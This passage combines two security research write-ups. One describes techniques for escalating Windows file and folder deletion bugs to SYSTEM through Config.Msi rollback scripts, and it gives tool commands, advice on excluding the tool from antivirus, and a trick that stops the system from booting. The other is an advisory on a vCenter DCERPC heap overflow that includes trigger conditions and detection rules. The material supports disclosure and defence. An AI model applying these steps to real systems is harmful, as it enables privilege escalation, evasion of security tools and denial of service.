4. The EoP moves the dummy C:\Config.Msi elsewhere. This is done so that the oplock remains in place and the vulnerable process is forced to continue waiting, while the filesystem location C:\Config.Msi becomes available for other purposes (see further).
5. The EoP spawns a new thread that invokes the Windows Installer service to install the .msi, with UI disabled.
6. The callback thread of the EoP continues and begins polling for the existence of C:\Config.Msi. For reasons that are not clear to me, Windows Installer will create C:\Config.Msi, use it briefly for a temp file, delete it, and then create it a second time to use for rollback scripts. The callback thread polls C:\Config.Msi to wait for each of these actions to take place.
7. As soon as the EoP detects that Windows Installer has created C:\Config.Msi for the second time, the callback thread exits, releasing the oplock. This allows the vulnerable process to proceed and delete (or move, or rename) the C:\Config.Msi created by Windows Installer.
8. The EoP main thread resumes. It repeatedly attempts to create C:\Config.Msi with a weak DACL. As soon as the vulnerable process deletes (or moves, or renames) C:\Config.Msi, the EoP’s create operation succeeds.
9. The EoP watches the contents of C:\Config.Msi and waits for Windows Installer to create an .rbs file there.
10. The EoP repeatedly attempts to move C:\Config.Msi elsewhere. As soon as Windows Installer closes its handle to the .rbs, the move succeeds, and the EoP proceeds.
11. The EoP creates C:\Config.Msi one final time. Within it, it places a malicious .rbs file having the same name as the original .rbs. Together with the .rbs, it writes a malicious .rbf.
12. After the delay and the error action specified in the .msi, Windows Installer performs a rollback. It consumes the malicious .rbs and .rbf, dropping the DLL.

Note that at step 7, there is a race condition that sometimes causes problems. If the vulnerable process does not immediately awaken and delete C:\Config.Msi, the window of opportunity may be lost because Windows Installer will soon open a handle to C:\Config.Msi and begin writing an .rbs there. At that point, deleting C:\Config.Msi will no longer work, because it is not an empty folder. To avoid this, it is recommended to run the EoP on a system with a minimum of 4 processor cores. A quiet system, where not much other activity is taking place, is probably ideal. If you do experience a failure, it will be necessary to retry the EoP and trigger the vulnerability a second time.

From Arbitrary File Delete to SYSTEM EoP

The technique described above assumes a primitive that deletes an arbitrary empty folder. Often, though, one has a file delete primitive as opposed to a folder delete primitive. That was the case with Abdelhamid Naceri’s User Profile bug. To achieve SYSTEM EoP in this case, his exploit used one additional trick, which we will now explain.

In NTFS, the metadata (index data) associated with a folder is stored in an alternate data stream on that folder. If the folder is named C:\MyFolder, then the index data is found in a stream referred to as C:\MyFolder::$INDEX_ALLOCATION. Some implementation details can be found here. For our purposes, though, what we need to know is this: deleting the ::$INDEX_ALLOCATION stream of a folder effectively deletes the folder from the filesystem, and a stream name, such as C:\MyFolder::$INDEX_ALLOCATION, can be passed to APIs that expect the name of a file, including DeleteFileW.

So, if you are able to get a process running as SYSTEM or admin to pass an arbitrary string to DeleteFileW, then you can use it not only as a file delete primitive but also as a folder delete primitive. From there, you can get a SYSTEM EoP using the exploit technique discussed above. In our case, the string you want to pass is C:\Config.Msi::$INDEX_ALLOCATION.

Be advised that success depends on the particular code present in the vulnerable process. If the vulnerable process simply calls DeleteFileA/DeleteFileW, you should be fine. In other cases, though, the privileged process performs other associated actions, such as checking the attributes of the specified file. This is why you cannot test this scenario from the command prompt by running del C:\Config.Msi::$INDEX_ALLOCATION.

From Folder Contents Delete to SYSTEM EoP

Leveling up once more, let us suppose that the vulnerable SYSTEM process does not allow us to specify an arbitrary folder or file to be deleted, but we can get it to delete the contents of an arbitrary folder, or alternatively, to recursively delete files from an attacker-writable folder. Can this also be used for EoP? Researcher Abdelhamid Naceri demonstrated this as well, in a subsequent submission in July 2021. In this submission he detailed a vulnerability in the SilentCleanup scheduled task, running as SYSTEM. This task iterates over the contents of a temp folder and deletes each file it finds there. His technique was as follows:

1. Create a subfolder, temp\folder1.
2. Create a file, temp\folder1\file1.txt.
3. Set an oplock on temp\folder1\file1.txt.
4. Wait for the vulnerable process to enumerate the contents of temp\folder1 and try to delete the file file1.txt it finds there. This will trigger the oplock.
5. When the oplock triggers, perform the following in the callback:
   a. Move file1.txt elsewhere, so that temp\folder1 is empty and can be deleted. We move file1.txt as opposed to just deleting it because deleting it would require us to first release the oplock. This way, we maintain the oplock so that the vulnerable process continues to wait, while we perform the next step.
   b. Recreate temp\folder1 as a junction to the \RPC Control folder of the object namespace. c. Create a symlink at \RPC Control\file1.txt pointing to C:\Config.Msi::$INDEX_ALLOCATION.
6. When the callback completes, the oplock is released and the vulnerable process continues execution. The delete of file1.txt becomes a delete of C:\Config.Msi.

Readers may recognize the symlink technique involving \RPC Control from James Forshaw’s symboliclink-testing-tools. Note, though, that it’s not sufficient to set up the junction from temp\folder1 to \RPC Control and then let the arbitrary file delete vulnerability do its thing. That’s because \RPC Control is not an enumerable file system location, so the vulnerable process would not be able to find \RPC Control\file1.txt via enumeration. Instead, we must start off by creating temp\folder1\file1.txt as a bona fide file, allowing the vulnerable process to find it through enumeration. Only afterward, just as the vulnerable process attempts to open the file for deletion, we turn temp\folder1 into a junction pointing into the object namespace.

For working exploit code, see project FolderContentsDeleteToFolderDelete. Note that the built-in malware detection in Windows will flag this process and shut it down. I recommend adding a “Process” exclusion for FolderContentsDeleteToFolderDelete.exe.

You can chain these two exploits together. To begin, run FolderOrFileDeleteToSystem and wait for it to prompt you to trigger privileged deletion of Config.Msi. Then, run FolderContentsDeleteToFolderDelete /target C:\Config.Msi. It will prompt you to trigger privileged deletion of the contents of C:\test1. If necessary for your exploit primitive, you can customize this location using the /initial command-line switch. For testing purposes, you can simulate the privileged folder contents deletion primitive by running del /q C:\test1\* from an elevated command prompt. FolderContentsDeleteToFolderDelete will turn this into a delete of C:\Config.Msi, and this will enable FolderOrFileDeleteToSystem to drop the HID.DLL. Finally, open the On-Screen Keyboard and hit Ctrl-Alt-Delete for your SYSTEM shell.

From Arbitrary Folder Create to Permanent DoS

Before closing, we’d like to share one more technique we learned from this same researcher. Suppose you have an exploit primitive for creating an arbitrary folder as SYSTEM or admin. Unless the folder is created with a weak DACL, it doesn’t sound like this would be something that could have any security impact at all. Surprisingly, though, it does: it can be used for a powerful denial of service. The trick is to create a folder such as this one:

      C:\Windows\System32\cng.sys

Normally there is no file or folder by that name. If an attacker name squats on that filesystem location with an extraneous file or even an empty folder, the Windows boot process is disrupted. The exact mechanism is a bit of a mystery. It would appear that Windows attempts to load the cng.sys kernel module from the improper location and fails, and there is no retry logic that allows it to continue and locate the proper driver. The result is a complete inability to boot the system. Other drivers can be used as well for the same effect.

Depending on the vulnerability at hand, this DoS exploit could even be a remote DoS, as nothing is required besides the ability to drop a single folder or file.

Conclusion

The techniques we’ve presented here show how some rather weak exploit primitives can be used for great effect. We have learned that:

• An arbitrary folder delete/move/rename (even of an empty folder), as SYSTEM or admin, can be used to escalate to SYSTEM.
• An arbitrary file delete, as SYSTEM or admin, can usually be used to escalate to SYSTEM.
• A delete of contents of an arbitrary folder, as SYSTEM or admin, can be used to escalate to SYSTEM.
• A recursive delete, as SYSTEM or admin, of contents of a fixed but attacker-writable folder (such as a temp folder), can be used to escalate to SYSTEM.
• An arbitrary folder create, as SYSTEM or admin, can be used for a permanent system denial-of-service.
• An arbitrary file delete or overwrite, as SYSTEM or admin, even if there is no control of contents, can be used for a permanent system denial-of-service.

We would like to thank researcher Abdelhamid Naceri for his great work in developing these exploit techniques, as well as for the vulnerabilities he has been reporting to our program. We look forward to seeing more from him in the future. Until then, you can find me on Twitter at @HexKitchen, and follow the team for the latest in exploit techniques and security patches.

In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Grigory Dorodnov and Guy Lederfein of the Trend Micro Research Team detail a recently patched code execution vulnerability in the VMware vCenter Server. This bug was originally discovered by Hao Zheng and Zibo Li from TianGong Team of Legendsec at Qi'anxin Group. Successfully exploiting this vulnerability could lead to a heap buffer overflow, which could result in the execution of arbitrary code in the context of the vulnerable service. The following is a portion of their write-up covering CVE-2024-37079, with a few minimal modifications.

An integer underflow vulnerability has been reported for VMware vCenter Server. The vulnerability is due to a lack of validation of the calculated response header size used in subtraction.

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted DCERPC packet to the target server. Successfully exploiting this vulnerability could lead to a heap buffer overflow, which could result in the execution of arbitrary code in the context of the vulnerable service.

The Vulnerability

VMware vCenter Server is a data center management server application developed by VMware Inc. VMware vCenter Server is designed primarily for vSphere, VMware's platform for building virtualized cloud infrastructures. vCenter Server relies on VMware's fork of the Likewise Open project to support DCERPC or, more specifically, MSRPC protocol needed for interaction with Microsoft services and products like, for example, Active Directory. Specifically, vCenter uses the `libdcerpc.so` library from Likewise Open in VMware Certificate Management Service (vmcad), VMware Directory Service (vmdird) and VMware Authentication Framework (vmafdd), accessible from the external network on TCP ports 2014, 2012, and 2020 respectively.

DCERPC

DCERPC (Distributed Computing Environment/Remote Procedure Call) with Microsoft extensions (MSRPC) is used to transparently execute functions on remote servers. To facilitate this process, interfaces are defined using an interface definition language (IDL). IDL code is shared between the server and the client and defines the data structures used for network communications. Each interface is identified by a UUID and contains abstract data types and function declarations. To call a function on a remote server via DCERPC, the client establishes a context by sending a Bind request (RPC_C_CN_PKT_BIND, 0x0b) containing the interface UUID of the interface to which the function belongs. Once the context is established, the client sends the desired RPC calls, or modifies the context by sending an Alter Context (RPC_C_CN_PKT_ALTER_CONTEXT, 0x0e) request. Other RPC request and response types of interest to this report are:

— Bind Acknowledgement (RPC_C_CN_PKT_BIND_ACK, 0x0c) - an acknowledgment of successful completion of the Bind request
— Bind Negative Acknowledgement (RPC_C_CN_PKT_BIND_NAK, 0x0d) - a notification of rejection of the Bind request
— Alter Context Response (RPC_C_CN_PKT_ALTER_CONTEXT_RESP, 0x0f) - a response to the Alter Context request

A DCERPC message common header has the following structure:

The four most significant bits of the Data Representation field (i.e., ones obtained by ANDing with the big-endian 0xF0000000) contain information about byte order. If these bits are all zero, then the DCERPC message is big-endian encoded; otherwise, it is little-endian encoded.

Of importance to this report is the lastfrag flag (0x02) in the Packet Flags field. If set, the given fragment is the last one of a multi-fragment transmission.

DCERPC Request Packets

In the request packets, the common header is followed by the packet type-specific fields. For Bind and Alter Context the Type Specific Data field will be set to the following structure:

Of importance to this report is the Presentation Context List, which has the following structure:

where each Presentation Context Element is defined as:

and syntax as:

DCERPC packets may include an optional authentication trailer (also known as an authentication verifier) that contains authentication and/or authorization data. The trailer is present if and only if the auth_len header field is non-zero and set to the length of the trailer in bytes. The common authentication trailer has the following format:

Note, that auth_len in the common header only indicates the length of the auth_value, not the entire trailer, which has 8 additional bytes for static fields.

libdcerpc.so supports the following authentication types with their corresponding IDs:

— GSS-API with SPNEGO mechanism (0x09)
— NTLMSSP (0x0a)
— GSS-API with Kerberos mechanism (0x10)
— Netlogon secure channel (0x44)

This report relies on the first mechanism (0x09) in the following explanation and vulnerability demonstration. Note, that the selected type is not part of the vulnerability itself and is only used to demonstrate its impact.

GSS-API, SPNEGO, and SRP

When the auth_type field of the authentication trailer is set to GSS-API with SPNEGO mechanism (0x09), the auth_value field holds the ASN.1 encoded GSS-API data payload with the following structure:

When the mech field has a value of Object Identifier (OID) “1.3.6.1.5.5.2”, the GSS-API data represents a Simple and Protected GSS-API Negotiation (SPNEGO) message., which allows the client to negotiate the specific authentication mechanism with the server. mechTypes holds a list of OIDs of the authentication mechanisms supported by the client (e.g., Kerberos, NTLM, etc), and mechToken is the initial token for the first mechanism in the list.

One of the mechanisms that can be negotiated with vCenter's services is Secure Remote Password (SRP). The use of this mechanism with GSS-API is not well defined, but references to it can be found in VMware's Project Lightwave. A “made up” (i.e., not officially registered) OID “1.2.840.113554.1.2.10” is used for this mechanism, and the mechToken for it has the following pseudo-ASN.1 definition, reconstructed from the Lightwave source code:

where mechType is set to OID “1.2.840.113554.1.2.10”, ver_maj and ver_min are set to 1 and 0 respectively, userName is a valid User Principal Name (UPN), for example, "[email protected]", and publicValue is a large client's public value (referred to as A in RFC 2945).

The SPNEGO SRP response token can be defined as follows:

Here, publicValue is a large server's public value (referred to as B in RFC 2945).

DCERPC Response Packets

DCERPC response packets (i.e. those sent from the server back to the client) have a structure similar to the request packets. They start with the common header followed by packet-type specific data fields. The response packet types corresponding to the Bind and Alter Context request packets are Bind Acknowledgement, Bind Negative Acknowledgement, and Alter Context Response. Of these three, this report is only concerned with Bind Acknowledgement and Alter Context Response: Bind Negative Acknowledgement is only generated in case of an error, which should be avoided.

Both Bind Acknowledgement and Alter Context Response have the same structure:

The fields of importance here are Secondary Address, Presentation Result List, and Authentication Trailer. Secondary Address, in this case, is the target service's port, for example, "2012" for vmdird, including the null-terminator and prefixed by a 2-byte length integer. Presentation Result List, for each element in the request's Presentation Context List, contains a 24-byte result, plus 4 bytes for static fields. The authentication trailer's structure is the same as in the request. Note, that for the SPNEGO SRP mechanism described above the trailer contains a large authentication value.

Further Details on the Vulnerability

An integer underflow vulnerability has been reported for VMware vCenter Server. The vulnerability is due to a lack of validation of the calculated response header size used in subtraction.

Two types of request packets lead to this vulnerability being triggered: Bind Acknowledgement and Alter Context Response. As opposed to other packets (and, consequently, fragment buffers) there is no size restriction on these packets: while all other types can have up to 4096 bytes of data (which makes the fragment buffer go up to 4158 bytes), these packets have no such limit. This behavior can be observed in the receive_packet() function.

libdcerpc.so's operation is based on protocol state machines. When a packet is received, for the state machine corresponding to the given client, and event is generated. That event indicates what action has to be taken next to proceed with the protocol flow. Depending on the event, the received packet is passed to one of the handlers. In normal operation, for Bind packets, the handler is do_assoc_action_rtn(), and for Alter Context - incr_do_alter_action_rtn(). Both functions, eventually, call the actual packet processors responsible for the construction of the response: do_assoc_req_action_rtn() and do_alter_cont_req_action_rtn(), respectively. For the former to be reached, there is a restriction: either the lastfrag flag must be set or the minor RPC version must be 0.

From this point, we will focus on the do_assoc_req_action_rtn(); do_alter_cont_req_action_rtn() has an almost identical flow with some minor changes.

This gives us a restriction on the number of the Presentation Context List elements. If set to maximum, 169, the returned size of the Presentation Result List is 4060 bytes, which, together with the prior contents of the response buffer, takes 4092 bytes.

Assuming no error was returned, the vulnerable rpc__cn_assoc_process_auth_tlr() function, responsible for processing the request's authentication trailer and filling in one for the response, is called next, with its header_size parameter set to 4092, and auth_len parameter set to 4096 - 4092 = 4.

To reach the vulnerable part of the function, the following conditions must be met.

First, the request's auth_len must not be zero and the authentication trailer must not span beyond the beginning or the end of the packet.

Second, RPC_CN_AUTH_CVT_ID_WIRE_TO_API() must not return an error. This function converts the authentication type taken from the packet into the internal representation; so, using a valid type, for example, 0x9 for SPNEGO, is sufficient to pass this check.

Next, RPC_CN_AUTH_INQ_SUPPORTED() must return a positive result for the selected protocol. This function ensures the selected authentication type is supported by the runtime. Again, SPNEGO is allowed.

After that, a call to the RPC_CN_AUTH_VFY_CLIENT_REQ() function, responsible for verifying the request's authentication trailer, is made. This function is dynamic: the actual function being called depends on the selected authentication type. For SPNEGO, for example, it is rpc__gssauth_cn_vfy_client_req(). While this function does verify the authentication trailer, the credentials do not have to be valid, since an authentication rejection would also have to be placed in the response. Furthermore, for some protocols, for example, SPNEGO, multiple exchanges are necessary before completing credentials verification.

Finally, the response authentication trailer is being filled in. To do so, 8 bytes (trailer without auth_value) are added to the header_size, setting it to 4092 + 8 = 4100 and leaving no place for the auth_value. When the remaining space is calculated, however, an unsigned subtraction of 4100 from the maximum response size (4096) is performed, resulting in a large positive value 0xfffffffc, which is later passed into the RPC_CN_AUTH_FMT_SRVR_RESP() function. Same as RPC_CN_AUTH_VFY_CLIENT_REQ(), this function is dynamic, and the actual function being called depends on the selected authentication type.

Note, that the number of the Presentation Context List elements leading to a heap overflow is strictly 169: the upper bound has already been established above, and the lower bound can be determined from the fact that the resulting header_size is underflowing the maximum response packet size by only 4 bytes. Reducing the number of Presentation Context List elements even by one would cause the Presentation Result List to be 24 bytes less in length and, consequently, the header_size being 24 less, thus not leading to an underflow.

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted DCERPC packet to the target server. Successfully exploiting this vulnerability could lead to a heap buffer overflow, which could result in the execution of arbitrary code in the context of the vulnerable service.

What follows is an explanation of how this vulnerability leads to a heap overflow, using the SPNEGO SRP authentication protocol as an example.

For SPNEGO, the RPC_CN_AUTH_VFY_CLIENT_REQ() function call results in control being passed to the rpc__gssauth_cn_vfy_client_req() function. This function, in its turn, calls the gss_accept_sec_context() library function which returns an output_token containing a response auth_value. If any error occurs, the length of the output_token is set zero. This token is then saved into the krb_message field in the security context associated with the client.

While for other protocols the token may be small, for SPNEGO SRP it contains, as described above, a large server's public value.

When, eventually, the RPC_CN_AUTH_FMT_SRVR_RESP() function is called, control is passed to the rpc__gssauth_cn_fmt_srvr_resp() function with auth_value_len pointing at a large positive value 0xfffffffc, and auth_value pointing at the end of the response buffer. This function is responsible for copying the contents of the krb_message field to the auth_value, but only if there is enough space. To ensure this, the function first compares the length of the krb_message to the value at auth_value_len. Given that auth_value_len points to a value resulting from an integer underflow, and the comparison is unsigned, this check always passes. Next, the krb_message's contents are copied to auth_value, which, again, does not have any free space left. For SPNEGO SRP, which has a large response token in krb_message, this leads to heap buffer overflow and heap corruption.

Generic Attack Detection

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic over ports 2012/TCP, 2014/TCP, and 2020/TCP (DCE/RPC).

The detection device must monitor DCE/RPC traffic looking for the messages with Packet type set to Bind (RPC_C_CN_PKT_BIND, 0x0b) or Alter Context (RPC_C_CN_PKT_ALTER_CONTEXT, 0x0e). If found, the detection device should check the auth_len field to be greater than zero. If so, the Number of Context Elements (n_context_elem) byte must be inspected. If it is greater than or equal to 169, the traffic should be considered suspicious; an attack exploiting this vulnerability is likely underway.

Conclusion

This vulnerability was patched by the vendor in June. At the time of the patch release, there was a fair amount of attention paid to this vulnerability. However, to date, there have been no attacks detected in the wild. As seen above, exploitation will not be straightforward. Still, this is a critical vulnerability and should be addressed by applying the vendor-supplied patch. If you are not able to apply the update, you can also filter malicious traffic using the information provided in the section entitled Attack Detection.

Special thanks to Grigory Dorodnov and Guy Lederfein of the Trend Micro Research Team for providing such a thorough analysis of this vulnerability. For an overview of Trend Micro Research services please visit http://go.trendmicro.com/tis/.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.